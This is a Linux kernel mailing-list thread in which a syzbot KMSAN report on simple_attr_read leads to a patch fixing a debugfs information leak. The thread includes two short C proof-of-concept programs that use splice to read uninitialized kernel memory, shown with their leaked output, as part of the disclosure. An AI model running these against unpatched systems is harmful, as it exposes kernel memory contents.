Skip to contentSkip to conversation

KMSAN: uninit-value in simple_attr_read

PATCH Applied syzbot 5 participants 9 messages Feb 27, 2020 – Mar 24, 2020 VFS

lore
Share & tools
lore

syzbot

author syzbot
#0 lore raw

Hello,

syzbot found the following crash on:

HEAD commit:    8bbbc5cf kmsan: don't compile memmove
git tree:       https://github.com/google/kmsan.git master
console output: https://syzkaller.appspot.com/x/log.txt?x=14394265e00000
kernel config:  https://syzkaller.appspot.com/x/.config?x=cd0e9a6b0e555cc3
dashboard link: https://syzkaller.appspot.com/bug?extid=fcab69d1ada3e8d6f06b
compiler:       clang version 10.0.0 (https://github.com/llvm/llvm-project/ c2443155a0fb245c8f17f2c1c72b6ea391e86e81)
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=1338127ee00000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=161403ede00000

IMPORTANT: if you fix the bug, please add the following tag to the commit:

Reported-by [email protected]

=====================================================

BUG: KMSAN: uninit-value in strlen+0x5e/0xa0 lib/string.c:552
CPU: 1 PID: 11402 Comm: syz-executor230 Not tainted 5.6.0-rc2-syzkaller #0
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
Call Trace:
 __dump_stack lib/dump_stack.c:77 [inline]
 dump_stack+0x1c9/0x220 lib/dump_stack.c:118
 kmsan_report+0xf7/0x1e0 mm/kmsan/kmsan_report.c:118
 __msan_warning+0x58/0xa0 mm/kmsan/kmsan_instr.c:215
 strlen+0x5e/0xa0 lib/string.c:552
 simple_attr_read+0x1ec/0x740 fs/libfs.c:935
 debugfs_attr_read+0x13e/0x290 fs/debugfs/file.c:360
 __vfs_read+0x1a9/0xc80 fs/read_write.c:425
 vfs_read+0x346/0x6a0 fs/read_write.c:461
 ksys_read+0x267/0x450 fs/read_write.c:587
 __do_sys_read fs/read_write.c:597 [inline]
 __se_sys_read+0x92/0xb0 fs/read_write.c:595
 __x64_sys_read+0x4a/0x70 fs/read_write.c:595
 do_syscall_64+0xb8/0x160 arch/x86/entry/common.c:296
 entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x440269
Code: 18 89 d0 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 0f 83 fb 13 fc ff c3 66 2e 0f 1f 84 00 00 00 00
RSP: 002b:00007fff09d3bc68 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00000000004002c8 RCX: 0000000000440269
RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000004
RBP: 00000000006ca018 R08: 000000000000000a R09: 000000000000000a
R10: 0000000000010001 R11: 0000000000000246 R12: 0000000000401af0
R13: 0000000000401b80 R14: 0000000000000000 R15: 0000000000000000

Uninit was created at:

 kmsan_save_stack_with_flags mm/kmsan/kmsan.c:144 [inline]
 kmsan_internal_poison_shadow+0x66/0xd0 mm/kmsan/kmsan.c:127
 kmsan_slab_alloc+0x8a/0xe0 mm/kmsan/kmsan_hooks.c:82
 slab_alloc_node mm/slub.c:2793 [inline]
 slab_alloc mm/slub.c:2802 [inline]
 kmem_cache_alloc_trace+0x6f3/0xd70 mm/slub.c:2819
 kmalloc include/linux/slab.h:555 [inline]
 simple_attr_open+0xd4/0x400 fs/libfs.c:894
 lowpan_enable_fops_open+0x94/0xb0 net/bluetooth/6lowpan.c:1105
 open_proxy_open+0x657/0x800 fs/debugfs/file.c:189
 do_dentry_open+0xf89/0x1820 fs/open.c:797
 vfs_open+0xaf/0xe0 fs/open.c:914
 do_last fs/namei.c:3490 [inline]
 path_openat+0x4d57/0x6bd0 fs/namei.c:3607
 do_filp_open+0x2b8/0x710 fs/namei.c:3637
 do_sys_openat2+0x92e/0xd40 fs/open.c:1149
 do_sys_open fs/open.c:1165 [inline]
 __do_sys_openat fs/open.c:1179 [inline]
 __se_sys_openat+0x24a/0x2b0 fs/open.c:1174
 __x64_sys_openat+0x56/0x70 fs/open.c:1174
 do_syscall_64+0xb8/0x160 arch/x86/entry/common.c:296
 entry_SYSCALL_64_after_hwframe+0x44/0xa9
=====================================================

---
This bug is generated by a bot. It may contain errors. See https://goo.gl/tpsmEJ for more information about syzbot. syzbot engineers can be reached at [email protected].

syzbot will keep track of this bug report. See:
https://goo.gl/tpsmEJ#status for how to communicate with syzbot. syzbot can test patches for this bug, for details see:
https://goo.gl/tpsmEJ#testing-patches

#1 lore raw
Quoted 14 lines · syzbot

Hello,

syzbot found the following crash on:

HEAD commit:    8bbbc5cf kmsan: don't compile memmove
git tree:       https://github.com/google/kmsan.git master
console output: https://syzkaller.appspot.com/x/log.txt?x=14394265e00000
kernel config:  https://syzkaller.appspot.com/x/.config?x=cd0e9a6b0e555cc3
dashboard link: https://syzkaller.appspot.com/bug?extid=fcab69d1ada3e8d6f06b
compiler:       clang version 10.0.0 (https://github.com/llvm/llvm-project/ c2443155a0fb245c8f17f2c1c72b6ea391e86e81)
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=1338127ee00000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=161403ede00000
Quoted 2 lines

IMPORTANT: if you fix the bug, please add the following tag to the commit:

Reported-by [email protected]

This report says it's uninit in strlen, but there's actually an information leak later on that lets the user read arbitrary data past the non-terminated attr->get_buf.

#2 lore raw

Hi Greg, Rafael, Arnd,

Quoted 3 lines

This report says it's uninit in strlen, but there's actually an information leak later on that lets the user read arbitrary data past the non-terminated attr->get_buf.

The attached PoC demonstrates the problem.
I am not sure how bad is that, given that /sys/kernel/debug is usually accessible only to the root, and simple attribute files don't seem to be used anywhere else.

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#define BUF_SIZE 128
int main(int argc, char *argv[])
{
char buf[BUF_SIZE];
const char def_filename[] = "/sys/kernel/debug/bluetooth/6lowpan_enable"; char *filename = (char *)def_filename;
int pipefd[2], dfs_fd;
struct iovec iov;

if (argc > 1)

    filename = argv[1];

pipe(pipefd);
iov.iov_base = mmap(NULL, 0x1000, 3, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); iov.iov_len = 0x1;
vmsplice(pipefd[1], &iov, 1, 1);
dfs_fd = open(filename, O_RDWR);
splice(pipefd[0], 0, dfs_fd, 0, 0x1, SPLICE_F_NONBLOCK); memset(buf, 0, BUF_SIZE);
read(dfs_fd, buf, BUF_SIZE);
printf("'%s'\n", buf);
return 0;
}

#3 lore raw

PATCH 1/1 libfs: fix infoleak in simple_attr_read()

From: Eric Biggers <[email protected]>

Reading from a debugfs file at a nonzero position, without first reading at position 0, leaks uninitialized memory to userspace.

It's a bit tricky to do this, since lseek() and pread() aren't allowed on these files, and write() doesn't update the position on them. But writing to them with splice() *does* update the position:

	#define _GNU_SOURCE 1
	#include <fcntl.h>
	#include <stdio.h>
	#include <unistd.h>
	int main()
	{
		int pipes[2], fd, n, i;
		char buf[32];

		pipe(pipes);
		write(pipes[1], "0", 1);
		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
		splice(pipes[0], NULL, fd, NULL, 1, 0);
		n = read(fd, buf, sizeof(buf));
		for (i = 0; i < n; i++)
			printf("%02x", buf[i]);
		printf("\n");
	}

Output:

	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30

Fix the infoleak by making simple_attr_read() always fill simple_attr::get_buf if it hasn't been filled yet.

Reported-by [email protected]
Fixes acaefc25d21f ("[PATCH] libfs: add simple attribute files")
---
 fs/libfs.c | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)
fs/libfs.c +5 -3
index c686bd9caac6..3759fbacf522 100644
@@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
 {
 	struct simple_attr *attr;
 
-	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
+	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
 	if (!attr)
 		return -ENOMEM;
 
@@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
 	if (ret)
 		return ret;
 
-	if (*ppos) {		/* continued read */
+	if (*ppos && attr->get_buf[0]) {
+		/* continued read */
 		size = strlen(attr->get_buf);
-	} else {		/* first read */
+	} else {
+		/* first read */
 		u64 val;
 		ret = attr->get(attr->data, &val);
 		if (ret)
Signature · 1 line
2.25.1
#4 lore raw

Re: [PATCH] libfs: fix infoleak in simple_attr_read()

Quoted 72 lines · Eric Biggers

From: Eric Biggers <[email protected]>

Reading from a debugfs file at a nonzero position, without first reading at position 0, leaks uninitialized memory to userspace.

It's a bit tricky to do this, since lseek() and pread() aren't allowed on these files, and write() doesn't update the position on them. But writing to them with splice() *does* update the position:

	#define _GNU_SOURCE 1
	#include <fcntl.h>
	#include <stdio.h>
	#include <unistd.h>
	int main()
	{
		int pipes[2], fd, n, i;
		char buf[32];

		pipe(pipes);
		write(pipes[1], "0", 1);
		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
		splice(pipes[0], NULL, fd, NULL, 1, 0);
		n = read(fd, buf, sizeof(buf));
		for (i = 0; i < n; i++)
			printf("%02x", buf[i]);
		printf("\n");
	}

Output:

	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30

Fix the infoleak by making simple_attr_read() always fill simple_attr::get_buf if it hasn't been filled yet.

Reported-by [email protected]
Fixes acaefc25d21f ("[PATCH] libfs: add simple attribute files")
---
 fs/libfs.c | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)
fs/libfs.c +5 -3
index c686bd9caac6..3759fbacf522 100644
@@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
 {
 	struct simple_attr *attr;
 
-	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
+	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
 	if (!attr)
 		return -ENOMEM;
 
@@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
 	if (ret)
 		return ret;
 
-	if (*ppos) {		/* continued read */
+	if (*ppos && attr->get_buf[0]) {
+		/* continued read */
 		size = strlen(attr->get_buf);
-	} else {		/* first read */
+	} else {
+		/* first read */
 		u64 val;
 		ret = attr->get(attr->data, &val);
 		if (ret)
Signature · 1 line
2.25.1

Any comments on this? Al, seems this is something you should pick up?

- Eric

#5 lore raw

Re: [PATCH] libfs: fix infoleak in simple_attr_read()

Quoted 76 lines · Eric Biggers
Quoted 72 lines · Eric Biggers

From: Eric Biggers <[email protected]>

Reading from a debugfs file at a nonzero position, without first reading at position 0, leaks uninitialized memory to userspace.

It's a bit tricky to do this, since lseek() and pread() aren't allowed on these files, and write() doesn't update the position on them. But writing to them with splice() *does* update the position:

	#define _GNU_SOURCE 1
	#include <fcntl.h>
	#include <stdio.h>
	#include <unistd.h>
	int main()
	{
		int pipes[2], fd, n, i;
		char buf[32];

		pipe(pipes);
		write(pipes[1], "0", 1);
		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
		splice(pipes[0], NULL, fd, NULL, 1, 0);
		n = read(fd, buf, sizeof(buf));
		for (i = 0; i < n; i++)
			printf("%02x", buf[i]);
		printf("\n");
	}

Output:

	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30

Fix the infoleak by making simple_attr_read() always fill simple_attr::get_buf if it hasn't been filled yet.

Reported-by [email protected]
Fixes acaefc25d21f ("[PATCH] libfs: add simple attribute files")
---
 fs/libfs.c | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)
fs/libfs.c +5 -3
index c686bd9caac6..3759fbacf522 100644
@@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
 {
 	struct simple_attr *attr;
 
-	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
+	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
 	if (!attr)
 		return -ENOMEM;
 
@@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
 	if (ret)
 		return ret;
 
-	if (*ppos) {		/* continued read */
+	if (*ppos && attr->get_buf[0]) {
+		/* continued read */
 		size = strlen(attr->get_buf);
-	} else {		/* first read */
+	} else {
+		/* first read */
 		u64 val;
 		ret = attr->get(attr->data, &val);
 		if (ret)
Signature · 1 line
2.25.1

Any comments on this? Al, seems this is something you should pick up?

Quoted 1 line

- Eric

Ping.

#6 lore raw

Re: [PATCH] libfs: fix infoleak in simple_attr_read()

Quoted 77 lines · Eric Biggers
Quoted 76 lines · Eric Biggers
Quoted 72 lines · Eric Biggers

From: Eric Biggers <[email protected]>

Reading from a debugfs file at a nonzero position, without first reading at position 0, leaks uninitialized memory to userspace.

It's a bit tricky to do this, since lseek() and pread() aren't allowed on these files, and write() doesn't update the position on them. But writing to them with splice() *does* update the position:

	#define _GNU_SOURCE 1
	#include <fcntl.h>
	#include <stdio.h>
	#include <unistd.h>
	int main()
	{
		int pipes[2], fd, n, i;
		char buf[32];

		pipe(pipes);
		write(pipes[1], "0", 1);
		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
		splice(pipes[0], NULL, fd, NULL, 1, 0);
		n = read(fd, buf, sizeof(buf));
		for (i = 0; i < n; i++)
			printf("%02x", buf[i]);
		printf("\n");
	}

Output:

	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30

Fix the infoleak by making simple_attr_read() always fill simple_attr::get_buf if it hasn't been filled yet.

Reported-by [email protected]
Fixes acaefc25d21f ("[PATCH] libfs: add simple attribute files")
---
 fs/libfs.c | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)
fs/libfs.c +5 -3
index c686bd9caac6..3759fbacf522 100644
@@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
 {
 	struct simple_attr *attr;
 
-	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
+	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
 	if (!attr)
 		return -ENOMEM;
 
@@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
 	if (ret)
 		return ret;
 
-	if (*ppos) {		/* continued read */
+	if (*ppos && attr->get_buf[0]) {
+		/* continued read */
 		size = strlen(attr->get_buf);
-	} else {		/* first read */
+	} else {
+		/* first read */
 		u64 val;
 		ret = attr->get(attr->data, &val);
 		if (ret)
Signature · 1 line
2.25.1

Any comments on this? Al, seems this is something you should pick up?

Quoted 4 lines
Quoted 1 line

- Eric

Ping.

Andrew, can you consider taking this patch? Al has been ignoring it, and this seems like a fairly important fix. This bug affects many (most?) debugfs files, and it affects years old kernels too not just recent ones.

Thanks,

- Eric

Acked-by on v1 1/1
#8 lore raw

Re: [PATCH] libfs: fix infoleak in simple_attr_read()

In reply to Eric Biggers
Quoted 31 lines · Eric Biggers

From: Eric Biggers <[email protected]>

Reading from a debugfs file at a nonzero position, without first reading at position 0, leaks uninitialized memory to userspace.

It's a bit tricky to do this, since lseek() and pread() aren't allowed on these files, and write() doesn't update the position on them. But writing to them with splice() *does* update the position:

	#define _GNU_SOURCE 1
	#include <fcntl.h>
	#include <stdio.h>
	#include <unistd.h>
	int main()
	{
		int pipes[2], fd, n, i;
		char buf[32];

		pipe(pipes);
		write(pipes[1], "0", 1);
		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
		splice(pipes[0], NULL, fd, NULL, 1, 0);
		n = read(fd, buf, sizeof(buf));
		for (i = 0; i < n; i++)
			printf("%02x", buf[i]);
		printf("\n");
	}

Output:

	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30
Quoted 8 lines

Fix the infoleak by making simple_attr_read() always fill simple_attr::get_buf if it hasn't been filled yet.

Reported-by [email protected]
Fixes acaefc25d21f ("[PATCH] libfs: add simple attribute files")

Yikes, that's an important fix!

Luckily (as Alexander mentioned too), most distros make debugfs non-accessible by non-root (I hope):

$ ls -lda /sys/kernel/debug
drwx------ 39 root root 0 Jan  8 09:10 /sys/kernel/debug/

That function is also exposed via DEFINE_SIMPLE_ATTRIBUTE(), but those users appear to also be mostly (all?) debugfs too.

And, just to note, for v5.3 and later, this would be fully mitigated by booting with "init_on_alloc=1".

-Kees

Quoted 34 lines
---
 fs/libfs.c | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)
fs/libfs.c +5 -3
index c686bd9caac6..3759fbacf522 100644
@@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
 {
 	struct simple_attr *attr;
 
-	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
+	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
 	if (!attr)
 		return -ENOMEM;
 
@@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
 	if (ret)
 		return ret;
 
-	if (*ppos) {		/* continued read */
+	if (*ppos && attr->get_buf[0]) {
+		/* continued read */
 		size = strlen(attr->get_buf);
-	} else {		/* first read */
+	} else {
+		/* first read */
 		u64 val;
 		ret = attr->get(attr->data, &val);
 		if (ret)
Signature · 1 line
2.25.1
Signature · 1 line
Kees Cook
#7 lore raw

Re: [PATCH] libfs: fix infoleak in simple_attr_read()

In reply to Eric Biggers
Quoted 78 lines · Eric Biggers
Quoted 77 lines · Eric Biggers
Quoted 76 lines · Eric Biggers
Quoted 72 lines · Eric Biggers

From: Eric Biggers <[email protected]>

Reading from a debugfs file at a nonzero position, without first reading at position 0, leaks uninitialized memory to userspace.

It's a bit tricky to do this, since lseek() and pread() aren't allowed on these files, and write() doesn't update the position on them. But writing to them with splice() *does* update the position:

	#define _GNU_SOURCE 1
	#include <fcntl.h>
	#include <stdio.h>
	#include <unistd.h>
	int main()
	{
		int pipes[2], fd, n, i;
		char buf[32];

		pipe(pipes);
		write(pipes[1], "0", 1);
		fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR);
		splice(pipes[0], NULL, fd, NULL, 1, 0);
		n = read(fd, buf, sizeof(buf));
		for (i = 0; i < n; i++)
			printf("%02x", buf[i]);
		printf("\n");
	}

Output:

	5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30

Fix the infoleak by making simple_attr_read() always fill simple_attr::get_buf if it hasn't been filled yet.

Reported-by [email protected]
Fixes acaefc25d21f ("[PATCH] libfs: add simple attribute files")
---
 fs/libfs.c | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)
fs/libfs.c +5 -3
index c686bd9caac6..3759fbacf522 100644
@@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file,
 {
 	struct simple_attr *attr;
 
-	attr = kmalloc(sizeof(*attr), GFP_KERNEL);
+	attr = kzalloc(sizeof(*attr), GFP_KERNEL);
 	if (!attr)
 		return -ENOMEM;
 
@@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf,
 	if (ret)
 		return ret;
 
-	if (*ppos) {		/* continued read */
+	if (*ppos && attr->get_buf[0]) {
+		/* continued read */
 		size = strlen(attr->get_buf);
-	} else {		/* first read */
+	} else {
+		/* first read */
 		u64 val;
 		ret = attr->get(attr->data, &val);
 		if (ret)
Signature · 1 line
2.25.1

Any comments on this? Al, seems this is something you should pick up?

Quoted 8 lines
Quoted 4 lines
Quoted 1 line

- Eric

Ping.

Andrew, can you consider taking this patch? Al has been ignoring it, and this seems like a fairly important fix. This bug affects many (most?) debugfs files, and it affects years old kernels too not just recent ones.

As it affects debugfs files, I'll grab it now, thanks.

greg k-h